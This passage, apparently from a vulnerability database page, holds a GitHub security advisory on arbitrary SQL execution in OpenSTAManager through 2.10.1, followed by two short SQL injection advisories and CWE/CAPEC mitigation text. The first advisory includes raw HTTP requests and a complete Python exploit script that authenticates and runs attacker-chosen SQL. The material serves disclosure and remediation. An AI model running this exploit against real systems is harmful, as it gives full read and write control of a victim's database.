**No allowlist:** There is no restriction on which SQL commands are permitted (e.g., only `ALTER TABLE` or `CREATE INDEX`).\n3. **Foreign key checks disabled:** `SET FOREIGN_KEY_CHECKS=0` is executed before the user queries, allowing data integrity violations.\n4. **Error message leakage:** Exception messages containing database structure details are returned in the JSON response (line 79).\n5. **No authorization check:** The action only requires module-level access, with no additional authorization for this destructive operation.\n\n## Root Cause Analysis\n\n### Data Flow\n\n1. Attacker sends POST request to `/editor.php?id_module=\u003cAggiornamenti_ID\u003e` with `op=risolvi-conflitti-database` and `queries=[\"\u003carbitrary SQL\u003e\"]`\n2. `editor.php` includes `actions.php` (root), which checks module permission (`$structure-\u003epermission == \u0027rw\u0027`) at line 472\n3. Root `actions.php` includes the module\u0027s `actions.php` at line 489\n4. `modules/aggiornamenti/actions.php` reads the `queries` POST parameter (line 41)\n5. JSON-decodes it into an array of strings (line 50)\n6. Iterates over each string and executes it as a SQL query via `$dbo-\u003equery()` (line 76)\n\n### Why This Is Exploitable\n\n- The feature is intended for resolving database schema conflicts during updates\n- However, there is no restriction on what SQL can be executed\n- Any authenticated user with `rw` permission on the Aggiornamenti module can exploit this\n- The default admin account always has access to this module\n\n## Proof of Concept\n\n### Prerequisites\n\n- A valid user account with access to the Aggiornamenti module\n\n### Step 1: Authenticate\n\n```\nPOST /index.php HTTP/1.1\nHost: \u003ctarget\u003e\nContent-Type: application/x-www-form-urlencoded\n\nop=login\u0026username=\u003cuser\u003e\u0026password=\u003cpass\u003e\n```\n\nSave the `PHPSESSID` cookie.\n\n### Step 2: Detect Aggiornamenti Module ID\n\nNavigate to the application dashboard and inspect the sidebar links. The Aggiornamenti module URL contains `id_module=\u003cID\u003e`. Default value in a standard installation: `6`.\n\n### Step 3: Execute Arbitrary SQL\n\n**Request (captured in Burp Suite):**\n\n```\nPOST /editor.php?id_module=6\u0026id_record=6 HTTP/1.1\nHost: 127.0.0.1:8888\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36\nAccept-Encoding: gzip, deflate, br\nAccept: */*\nConnection: keep-alive\nCookie: PHPSESSID=6a1a8ab261f8d93c6e21d2ee566c17a5\nContent-Type: application/x-www-form-urlencoded\n\nop=risolvi-conflitti-database\u0026queries=%5B%22DROP+TABLE+IF+EXISTS+poc_vuln04_verify%22%2C+%22CREATE+TABLE+poc_vuln04_verify+%28id+INT+AUTO_INCREMENT+PRIMARY+KEY%2C+proof+VARCHAR%28255%29%2C+ts+TIMESTAMP+DEFAULT+CURRENT_TIMESTAMP%29%22%2C+%22INSERT+INTO+poc_vuln04_verify+%28proof%29+VALUES+%28%27CVE_PROOF_arbitrary_sql_execution%27%29%22%5D\n```\n\nThe URL-decoded `queries` parameter is:\n\n```json\n[\n  \"DROP TABLE IF EXISTS poc_vuln04_verify\",\n  \"CREATE TABLE poc_vuln04_verify (id INT AUTO_INCREMENT PRIMARY KEY, proof VARCHAR(255), ts TIMESTAMP DEFAULT CURRENT_TIMESTAMP)\",\n  \"INSERT INTO poc_vuln04_verify (proof) VALUES (\u0027CVE_PROOF_arbitrary_sql_execution\u0027)\"\n]\n```\n\nThree arbitrary SQL statements are sent: `DROP TABLE`, `CREATE TABLE`, and `INSERT INTO` \u2014 demonstrating full control over the database.\n\n**Response (captured in Burp Suite):**\n\nThe server responds with HTTP 200 and the following JSON response confirming successful execution of all 3 queries:\n\n```json\n{\"success\":true,\"message\":\"Tutte le query sono state eseguite con successo (3 query).\u003cbr\u003e\u003cbr\u003eQuery eseguite:\u003cbr\u003eDROP TABLE IF EXISTS poc_vuln04_verify\u003cbr\u003eCREATE TABLE poc_vuln04_verify (id INT AUTO_INCREMENT PRIMARY KEY, proof VARCHAR(255), ts TIMESTAMP DEFAULT CURRENT_TIMESTAMP)\u003cbr\u003eINSERT INTO poc_vuln04_verify (proof) VALUES (\u0027CVE_PROOF_arbitrary_sql_execution\u0027)\",\"flash_message\":true}\n```\n\n\u003cimg width=\"1490\" height=\"355\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f0df5dd9-4ede-4503-8e00-58c47f2cd06a\" /\u003e\n\n\n### Step 4: Verify Execution\n\nThe table `poc_vuln04_verify` was created in the database with the inserted data, confirming that arbitrary SQL was executed. The server confirms: `\"Tutte le query sono state eseguite con successo (3 query).\"`\n\n### Observed Results\n\n| Action | Result |\n|---|---|\n| `DROP TABLE IF EXISTS` | Table dropped successfully |\n| `CREATE TABLE` | Table created successfully |\n| `INSERT INTO` | Data inserted |\n| `SELECT VERSION()` (via INSERT...SELECT) | MySQL version extracted: `8.3.0` |\n| Server confirmation | `\"success\":true` with query count |\n| Execution with admin user | Success |\n| Execution with non-admin user (Tecnici group with module access) | Success |\n\n### Exploit\n\n```\npython3 poc_sql.py -t http://\u003ctarget\u003e:8888 -u admin -p admin\n```\n\n```python\n#!/usr/bin/env python3\n\nimport argparse\nimport json\nimport re\nimport sys\nimport urllib3\n\nimport requests\n\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\nDEFAULT_HEADERS = {\n    \"User-Agent\": (\n        \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) \"\n        \"AppleWebKit/537.36 (KHTML, like Gecko) \"\n        \"Chrome/120.0.0.0 Safari/537.36\"\n    ),\n}\n\n\ndef parse_args():\n    p = argparse.ArgumentParser(\n        description=\"OpenSTAManager \u003c= 2.10.1 \u2014 Arbitrary SQL Exec in Aggiornamenti (PoC)\",\n        formatter_class=argparse.RawDescriptionHelpFormatter,\n        epilog=(\n            \"Examples:\\n\"\n            \"  %(prog)s -t http://target:8888 -u admin -p admin\\n\"\n            \"  %(prog)s -t http://target:8888 -u admin -p admin --proxy http://127.0.0.1:8080\\n\"\n            \"  %(prog)s -t http://target:8888 -u admin -p admin --module-id 6\\n\"\n        ),\n    )\n    p.add_argument(\"-t\", \"--target\", required=True, help=\"Base URL (e.g. http://host:port)\")\n    p.add_argument(\"-u\", \"--username\", required=True, help=\"Valid username for authentication\")\n    p.add_argument(\"-p\", \"--password\", required=True, help=\"Password for authentication\")\n    p.add_argument(\n        \"--proxy\",\n        default=None,\n        help=\"HTTP proxy (e.g. http://127.0.0.1:8080 for Burp Suite)\",\n    )\n    p.add_argument(\n        \"--module-id\",\n        type=int,\n        default=None,\n        help=\"Aggiornamenti module ID (auto-detected if omitted)\",\n    )\n    p.add_argument(\n        \"--verify-only\",\n        action=\"store_true\",\n        help=\"Only verify the vulnerability, do not extract data\",\n    )\n    return p.parse_args()\n\n\nclass OSMExploit:\n    def __init__(self, args):\n        self.target = args.target.rstrip(\"/\")\n        self.username = args.username\n        self.password = args.password\n        self.module_id = args.module_id\n        self.session = requests.Session()\n        self.session.headers.update(DEFAULT_HEADERS)\n        self.session.verify = False\n\n        if args.proxy:\n            self.session.proxies = {\"http\": args.proxy, \"https\": args.proxy}\n\n        self.request_count = 0\n\n    def login(self):\n        info(\"Authenticating as \u0027%s\u0027...\" % self.username)\n\n        # First GET to obtain a valid session cookie\n        self.session.get(f\"{self.target}/index.php\")\n        self.request_count += 1\n\n        r = self.session.post(\n            f\"{self.target}/index.php\",\n            data={\"op\": \"login\", \"username\": self.username, \"password\": self.password},\n            allow_redirects=False,\n        )\n        self.request_count += 1\n\n        if r.status_code != 302:\n            fail(\"Login failed (HTTP %d). Check credentials.\" % r.status_code)\n            return False\n\n        location = r.headers.get(\"Location\", \"\")\n\n        # Success redirects to controller.php; failure redirects back to index.php\n        if \"controller.php\" in location:\n            success(\"Authenticated successfully.\")\n            # Follow redirect to establish full session\n            self.session.get(f\"{self.target}/{location.lstrip(\u0027/\u0027)}\", allow_redirects=True)\n            self.request_count += 1\n            return True\n\n        # If redirected back to index.php, the login failed\n        # Common causes: wrong credentials, brute-force lockout, or active session token\n        fail(\"Login failed \u2014 redirected to \u0027%s\u0027.\" % location)\n        fail(\"Possible causes:\")\n        fail(\"  1. Wrong credentials\")\n        fail(\"  2. Brute-force lockout (wait 3 min or clear zz_logs)\")\n        fail(\"  3. Active session token (another session is open)\")\n        fail(\"  Tip: clear the token with SQL: UPDATE zz_users SET session_token=NULL WHERE username=\u0027%s\u0027;\" % self.username)\n        return False\n\n    def detect_module_id(self):\n        if self.module_id is not None:\n            info(\"Using provided module ID = %d\" % self.module_id)\n            return True\n\n        info(\"Auto-detecting Aggiornamenti module ID...\")\n        # Search for the module ID in the navigation HTML\n        r = self.session.get(f\"{self.target}/index.php\", allow_redirects=True)\n        self.request_count += 1\n\n        # Look for sidebar link: \u003ca href=\"/controller.php?id_module=6\" ...\u003e...\u003cp\u003eAggiornamenti\u003c/p\u003e\n\n        matches = re.findall(r\u0027id_module=(\\d+)\"[^\u003c]*\u003c[^\u003c]*\u003c[^\u003c]*Aggiornamenti\u0027, r.text)\n        if matches:\n            self.module_id = int(matches[0])\n            success(\"Aggiornamenti module ID = %d\" % self.module_id)\n            return True\n\n        # Secondary pattern: data-id attribute near Aggiornamenti text\n        matches = re.findall(r\u0027data-id=\"(\\d+)\"[^\u003c]*onclick[^\u003c]*id_module=\\d+[^\u003c]*\u003c[^\u003c]*\u003c[^\u003c]*\u003c[^\u003c]*Aggiornamenti\u0027, r.text)\n        if matches:\n            self.module_id = int(matches[0])\n            success(\"Aggiornamenti module ID = %d\" % self.module_id)\n            return True\n\n        # Fallback: try common IDs\n        for test_id in [6, 7, 8, 5, 4]:\n            r = self.session.get(\n                f\"{self.target}/controller.php?id_module={test_id}\",\n                allow_redirects=True,\n            )\n            self.request_count += 1\n            if \"Aggiornamenti\" in r.text or \"aggiornamenti\" in r.text.lower():\n                self.module_id = test_id\n                success(\"Aggiornamenti module ID = %d\" % test_id)\n                return True\n\n        fail(\"Could not detect Aggiornamenti module ID. Use --module-id N.\")\n        return False\n\n    def execute_sql(self, queries):\n        \"\"\"Execute arbitrary SQL via risolvi-conflitti-database.\"\"\"\n        r = self.session.post(\n            f\"{self.target}/editor.php?id_module={self.module_id}\u0026id_record={self.module_id}\",\n            data={\n                \"op\": \"risolvi-conflitti-database\",\n                \"queries\": json.dumps(queries),\n            },\n        )\n        self.request_count += 1\n        return r\n\n    def verify(self):\n        marker_table = \"poc_vuln04_verify\"\n        marker_value = \"CVE_PROOF_arbitrary_sql_execution\"\n\n        info(\"Step 1: Creating marker table via arbitrary SQL execution...\")\n        queries = [\n            f\"DROP TABLE IF EXISTS {marker_table}\",\n            f\"CREATE TABLE {marker_table} (id INT AUTO_INCREMENT PRIMARY KEY, proof VARCHAR(255), ts TIMESTAMP DEFAULT CURRENT_TIMESTAMP)\",\n            f\"INSERT INTO {marker_table} (proof) VALUES (\u0027{marker_value}\u0027)\",\n        ]\n        r = self.execute_sql(queries)\n        info(\"Response: HTTP %d\" % r.status_code)\n\n        info(\"Step 2: Verifying marker table exists by reading it back...\")\n        # Use a second query to read the data via a UNION or time-based approach\n        # Since we can execute arbitrary SQL, we can verify by creating another\n        # marker and checking via a SELECT INTO approach\n        verify_queries = [\n            f\"INSERT INTO {marker_table} (proof) VALUES (CONCAT(\u0027verified_\u0027, (SELECT VERSION())))\",\n        ]\n        r2 = self.execute_sql(verify_queries)\n\n        # The JSON response may be embedded within HTML (editor.php renders the full page\n        # after executing the action). Extract JSON from the response body.\n\n        for resp in [r, r2]:\n            # Try parsing as pure JSON first\n            try:\n                data = resp.json()\n                if data.get(\"success\"):\n                    success(\"SQL EXECUTION CONFIRMED! Server accepted and executed arbitrary SQL.\")\n                    success(\"Marker table \u0027%s\u0027 created with proof value.\" % marker_table)\n                    info(\"Response: %s\" % data.get(\"message\", \"\")[:200])\n                    return True\n            except (ValueError, KeyError):\n                pass\n\n            # Extract embedded JSON from HTML response\n            json_match = re.search(r\u0027\\{\"success\"\\s*:\\s*true\\s*,\\s*\"message\"\\s*:\\s*\"([^\"]*)\"\u0027, resp.text)\n            if json_match:\n                success(\"SQL EXECUTION CONFIRMED! Server accepted and executed arbitrary SQL.\")\n                success(\"Marker table \u0027%s\u0027 created with proof value.\" % marker_table)\n                info(\"Server message: %s\" % json_match.group(1)[:200])\n                return True\n\n            # Check for query execution indicators in response\n            if \"query sono state eseguite\" in resp.text or \"query eseguite\" in resp.text.lower():\n                success(\"SQL EXECUTION CONFIRMED! Server reports queries were executed.\")\n                return True\n\n        fail(\"Could not verify SQL execution. Check target manually.\")\n        fail(\"Tip: use --module-id N if auto-detection failed.\")\n        return False\n\n    def cleanup(self):\n        info(\"Cleaning up marker tables...\")\n        self.execute_sql([\"DROP TABLE IF EXISTS poc_vuln04_verify\"])\n        self.execute_sql([\"DROP TABLE IF EXISTS poc_vuln04_marker\"])\n        self.execute_sql([\"DROP TABLE IF EXISTS poc_vuln04_tecnico\"])\n        success(\"Cleanup complete.\")\n\n\n# \u2500\u2500 Output helpers \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef info(msg):\n    print(f\"\\033[34m[*]\\033[0m {msg}\")\n\ndef success(msg):\n    print(f\"\\033[32m[+]\\033[0m {msg}\")\n\ndef fail(msg):\n    print(f\"\\033[31m[-]\\033[0m {msg}\")\n\n\n# \u2500\u2500 Main \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef main():\n    args = parse_args()\n    exploit = OSMExploit(args)\n\n    if not exploit.login():\n        sys.exit(1)\n\n    if not exploit.detect_module_id():\n        sys.exit(1)\n\n    print()\n    info(\"=== Vulnerability Verification ===\")\n    if not exploit.verify():\n        sys.exit(1)\n\n    print()\n    info(\"=== Cleanup ===\")\n    exploit.cleanup()\n\n    print()\n    success(\"Verification complete. %d HTTP requests sent.\" % exploit.request_count)\n    info(\n        \"All traffic was sent through the configured proxy.\"\n        if args.proxy\n        else \"Tip: use --proxy http://127.0.0.1:8080 to capture in Burp Suite.\"\n    )\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n## Impact\n\n- **Confidentiality:** Complete database exfiltration \u2014 credentials, PII, financial data, configuration secrets.\n- **Integrity:** Full control over all database tables \u2014 insert, update, delete any record. An attacker can create new admin accounts, modify financial records, or plant backdoors.\n- **Availability:** An attacker can `DROP` critical tables, corrupt data, or execute resource-intensive queries to cause denial of service.\n- **Potential Remote Code Execution:** Depending on MySQL server configuration, an attacker may be able to use `SELECT ... INTO OUTFILE` to write arbitrary files to the server filesystem, or use MySQL UDF (User Defined Functions) to execute operating system commands.\n\n## Proposed Remediation\n\n### Option A: Remove Direct Query Execution (Recommended)\n\nReplace the arbitrary SQL execution with a predefined set of safe operations. The conflict resolution feature should only execute queries that were generated by the application itself, not user-supplied SQL:\n\n```php\ncase \u0027risolvi-conflitti-database\u0027:\n    $queries_json = post(\u0027queries\u0027);\n    $queries = json_decode($queries_json, true);\n\n    if (empty($queries)) {\n        echo json_encode([\u0027success\u0027 =\u003e false, \u0027message\u0027 =\u003e tr(\u0027Nessuna query ricevuta.\u0027)]);\n        break;\n    }\n\n    // ALLOWLIST: Only permit specific safe SQL patterns\n    $allowed_patterns = [\n        \u0027/^ALTER\\s+TABLE\\s+`?\\w+`?\\s+(ADD|MODIFY|CHANGE|DROP)\\s+/i\u0027,\n        \u0027/^CREATE\\s+INDEX\\s+/i\u0027,\n        \u0027/^DROP\\s+INDEX\\s+/i\u0027,\n        \u0027/^UPDATE\\s+`?zz_views`?\\s+SET\\s+/i\u0027,\n        \u0027/^INSERT\\s+INTO\\s+`?zz_/i\u0027,\n    ];\n\n    $safe_queries = [];\n    $rejected = [];\n\n    foreach ($queries as $query) {\n        $is_safe = false;\n        foreach ($allowed_patterns as $pattern) {\n            if (preg_match($pattern, trim($query))) {\n                $is_safe = true;\n                break;\n            }\n        }\n\n        if ($is_safe) {\n            $safe_queries[] = $query;\n        } else {\n            $rejected[] = $query;\n        }\n    }\n\n    if (!empty($rejected)) {\n        echo json_encode([\n            \u0027success\u0027 =\u003e false,\n            \u0027message\u0027 =\u003e tr(\u0027Query non permesse rilevate. Operazione bloccata.\u0027),\n        ]);\n        break;\n    }\n\n    // Execute only validated queries\n    foreach ($safe_queries as $query) {\n        $dbo-\u003equery($query);\n    }\n    // ...\n```\n\n### Option B: Server-Side Query Generation\n\nInstead of accepting raw SQL from the client, have the client send operation descriptors and generate the SQL on the server:\n\n```php\ncase \u0027risolvi-conflitti-database\u0027:\n    $operations = json_decode(post(\u0027operations\u0027), true);\n\n    foreach ($operations as $op) {\n        switch ($op[\u0027type\u0027]) {\n            case \u0027add_column\u0027:\n                $table = preg_replace(\u0027/[^a-zA-Z0-9_]/\u0027, \u0027\u0027, $op[\u0027table\u0027]);\n                $column = preg_replace(\u0027/[^a-zA-Z0-9_]/\u0027, \u0027\u0027, $op[\u0027column\u0027]);\n                $type = preg_replace(\u0027/[^a-zA-Z0-9_() ]/\u0027, \u0027\u0027, $op[\u0027datatype\u0027]);\n                $dbo-\u003equery(\"ALTER TABLE `{$table}` ADD COLUMN `{$column}` {$type}\");\n                break;\n            // ... other safe operations\n        }\n    }\n```\n\n### Option C: Restrict Access (Minimum Mitigation)\n\nAt minimum, restrict this operation to admin-only users:\n\n```php\ncase \u0027risolvi-conflitti-database\u0027:\n    if (!auth_osm()-\u003egetUser()-\u003eis_admin) {\n        echo json_encode([\u0027success\u0027 =\u003e false, \u0027message\u0027 =\u003e tr(\u0027Accesso negato.\u0027)]);\n        break;\n    }\n    // ... existing code\n```\n\n**Note:** This alone is insufficient because even admin accounts can be compromised, and the feature still allows arbitrary SQL execution.\n\n### Additional Recommendations\n\n1. **Remove `SET FOREIGN_KEY_CHECKS=0`**: Foreign key checks should never be disabled based on user-initiated actions.\n2. **Sanitize error output**: Exception messages at line 79 leak database structure information. Replace with generic error messages.\n3. **Add CSRF protection**: Ensure the endpoint validates a CSRF token to prevent cross-site request forgery attacks.\n4. **Audit logging**: Log the actual SQL queries being executed (already partially implemented) but also log the requesting user\u0027s IP address and session.\n\n## Credits\nOmar Ramirez",
  "id": "GHSA-2fr7-cc4f-wh98",
  "modified": "2026-04-03T03:47:37Z",
  "published": "2026-04-03T03:47:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/devcode-it/openstamanager/security/advisories/GHSA-2fr7-cc4f-wh98"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35168"
    },
    {
      "type": "WEB",
      "url": "https://github.com/devcode-it/openstamanager/commit/43970676bcd6636ff8663652fd82579f737abb74"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/devcode-it/openstamanager"
    },
    {
      "type": "WEB",
      "url": "https://github.com/devcode-it/openstamanager/releases/tag/v2.10.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenSTAManager: SQL Injection via Aggiornamenti Module"
}

GHSA-2FV7-7XR8-8J4G

Vulnerability from github – Published: 2025-01-14 00:30 – Updated: 2025-01-31 21:32
VLAI
Details

An issue was discovered in Selesta Visual Access Manager (VAM) prior to 4.42.2. An authenticated attacker can perform SQL Injection in multiple POST parameters of /vam/vam_anagraphic.php.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-42241"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-13T22:15:12Z",
    "severity": "LOW"
  },
  "details": "An issue was discovered in Selesta Visual Access Manager (VAM) prior to 4.42.2. An authenticated attacker can perform SQL Injection in multiple POST parameters of /vam/vam_anagraphic.php.",
  "id": "GHSA-2fv7-7xr8-8j4g",
  "modified": "2025-01-31T21:32:45Z",
  "published": "2025-01-14T00:30:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-42241"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/daniele_m/cve-list/-/blob/main/README.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2FVC-GHRC-W588

Vulnerability from github – Published: 2022-05-02 00:03 – Updated: 2022-05-02 00:03
VLAI
Details

Multiple SQL injection vulnerabilities in index.php in Matterdaddy Market 1.1, when magic_quotes_gpc is disabled, allow remote attackers to execute arbitrary SQL commands via the (1) category and (2) type parameters.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2008-3783"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2008-08-26T14:41:00Z",
    "severity": "MODERATE"
  },
  "details": "Multiple SQL injection vulnerabilities in index.php in Matterdaddy Market 1.1, when magic_quotes_gpc is disabled, allow remote attackers to execute arbitrary SQL commands via the (1) category and (2) type parameters.",
  "id": "GHSA-2fvc-ghrc-w588",
  "modified": "2022-05-02T00:03:43Z",
  "published": "2022-05-02T00:03:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-3783"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/44630"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/6297"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/31564"
    },
    {
      "type": "WEB",
      "url": "http://securityreason.com/securityalert/4185"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/30809"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

Mitigation MIT-4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
  • For example, consider using persistence layers such as Hibernate or Enterprise Java Beans, which can provide significant protection against SQL injection if used properly.
Mitigation MIT-27
Architecture and Design

Strategy: Parameterization

  • If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
  • Process SQL queries using prepared statements, parameterized queries, or stored procedures. These features should accept parameters or variables and support strong typing. Do not dynamically construct and execute query strings within these features using "exec" or similar functionality, since this may re-introduce the possibility of SQL injection. [REF-867]
Mitigation MIT-17
Architecture and Design Operation

Strategy: Environment Hardening

  • Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
  • Specifically, follow the principle of least privilege when creating user accounts to a SQL database. The database users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data. Use the strictest permissions possible on all database objects, such as execute-only for stored procedures.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation MIT-28
Implementation

Strategy: Output Encoding

  • While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
  • Instead of building a new implementation, such features may be available in the database or programming language. For example, the Oracle DBMS_ASSERT package can check or enforce that parameters have certain properties that make them less vulnerable to SQL injection. For MySQL, the mysql_real_escape_string() API function is available in both C and PHP.
Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • When constructing SQL query strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
  • Note that proper output encoding, escaping, and quoting is the most effective solution for preventing SQL injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent SQL injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, the name "O'Reilly" would likely pass the validation step, since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise handled. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.
  • When feasible, it may be safest to disallow meta-characters entirely, instead of escaping them. This will provide some defense in depth. After the data is entered into the database, later processes may neglect to escape meta-characters before use, and you may not have control over those processes.
Mitigation MIT-21
Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Mitigation MIT-39
Implementation
  • Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
  • If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
  • Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
  • In the context of SQL Injection, error messages revealing the structure of a SQL query can help attackers tailor successful attack strings.
Mitigation MIT-29
Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481.

Mitigation MIT-16
Operation Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

CAPEC-108: Command Line Execution through SQL Injection

An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.

CAPEC-109: Object Relational Mapping Injection

An attacker leverages a weakness present in the database access layer code generated with an Object Relational Mapping (ORM) tool or a weakness in the way that a developer used a persistence framework to inject their own SQL commands to be executed against the underlying database. The attack here is similar to plain SQL injection, except that the application does not use JDBC to directly talk to the database, but instead it uses a data access layer generated by an ORM tool or framework (e.g. Hibernate). While most of the time code generated by an ORM tool contains safe access methods that are immune to SQL injection, sometimes either due to some weakness in the generated code or due to the fact that the developer failed to use the generated access methods properly, SQL injection is still possible.

CAPEC-110: SQL Injection through SOAP Parameter Tampering

An attacker modifies the parameters of the SOAP message that is sent from the service consumer to the service provider to initiate a SQL injection attack. On the service provider side, the SOAP message is parsed and parameters are not properly validated before being used to access a database in a way that does not use parameter binding, thus enabling the attacker to control the structure of the executed SQL query. This pattern describes a SQL injection attack with the delivery mechanism being a SOAP message.

CAPEC-470: Expanding Control over the Operating System from the Database

An attacker is able to leverage access gained to the database to read / write data to the file system, compromise the operating system, create a tunnel for accessing the host machine, and use this access to potentially attack other machines on the same network as the database machine. Traditionally SQL injections attacks are viewed as a way to gain unauthorized read access to the data stored in the database, modify the data in the database, delete the data, etc. However, almost every data base management system (DBMS) system includes facilities that if compromised allow an attacker complete access to the file system, operating system, and full access to the host running the database. The attacker can then use this privileged access to launch subsequent attacks. These facilities include dropping into a command shell, creating user defined functions that can call system level libraries present on the host machine, stored procedures, etc.

CAPEC-66: SQL Injection

This attack exploits target software that constructs SQL statements based on user input. An attacker crafts input strings so that when the target software constructs SQL statements based on the input, the resulting SQL statement performs actions other than those the application intended. SQL Injection results from failure of the application to appropriately validate input.

CAPEC-7: Blind SQL Injection

